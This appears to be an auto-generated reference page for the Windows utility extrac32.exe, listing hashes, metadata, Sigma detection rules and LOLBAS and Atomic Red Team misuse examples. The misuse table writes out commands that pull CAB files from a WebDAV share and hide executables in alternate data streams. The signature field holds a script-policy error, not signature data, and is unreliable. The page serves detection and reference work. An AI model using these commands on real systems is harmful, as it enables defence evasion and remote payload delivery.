extrac32.exe

• File Path: C:\windows\system32\extrac32.exe
• Description: Microsoft CAB File Extract Utility

Hashes

Type	Hash
MD5	1BBCF328F7FBB3158E672AAA8516C590
SHA1	ACCA24C516EC30EFCC521C6F8500CFBA1640CF2E
SHA256	F9BF62D035A1D21353FE359E178A75895B1B328CFE8E17B6777558BC47985290
SHA384	5B554E9C879D4A10FEAF955AD7ACAECCAB532AF6F4B3C08B0AEAC9F5DF87E3D5B516B51612FA0E0F004D0C8160C52CF7
SHA512	FD0B68E84A9AB310927426F795EB59F0B233D6CA68764C4249EF5C5790A3A48AC9B9878EBACB0C484104D85CF28A0AEA01E295B489E2943225F2A188DFFDC65D
SSDEEP	768:roDoeaPev6TOvyojAg0XgwJQ7JTmSjmEKWU0YM:reoeqouojxBwJQ7VmSjA5M

Signature

• Status: The file C:\windows\system32\extrac32.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
• Serial: ``
• Thumbprint: ``
• Issuer:
• Subject:

File Metadata

• Original Filename: extrac32.exe.mui
• Product Name: Microsoft Windows Operating System
• Company Name: Microsoft Corporation
• File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
• Product Version: 6.3.9600.16384
• Language: English (United States)
• Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of extrac32.exe being misused. While extrac32.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_lolbas_extrac32.yml	title: Suspicious Extrac32 Execution	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	description: Download or Copy file with Extrac32	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	- https://lolbas-project.github.io/lolbas/Binaries/Extrac32/	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	- extrac32.exe	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	title: Suspicious Extrac32 Alternate Data Stream Execution	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	- https://lolbas-project.github.io/lolbas/Binaries/Extrac32/	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	- extrac32.exe	DRL 1.0
LOLBAS	Extrac32.yml	Name: Extrac32.exe
LOLBAS	Extrac32.yml	- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
LOLBAS	Extrac32.yml	- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
LOLBAS	Extrac32.yml	- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
LOLBAS	Extrac32.yml	- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
LOLBAS	Extrac32.yml	- Path: C:\Windows\System32\extrac32.exe
LOLBAS	Extrac32.yml	- Path: C:\Windows\SysWOW64\extrac32.exe
atomic-red-team	T1564.004.md	extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe	MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.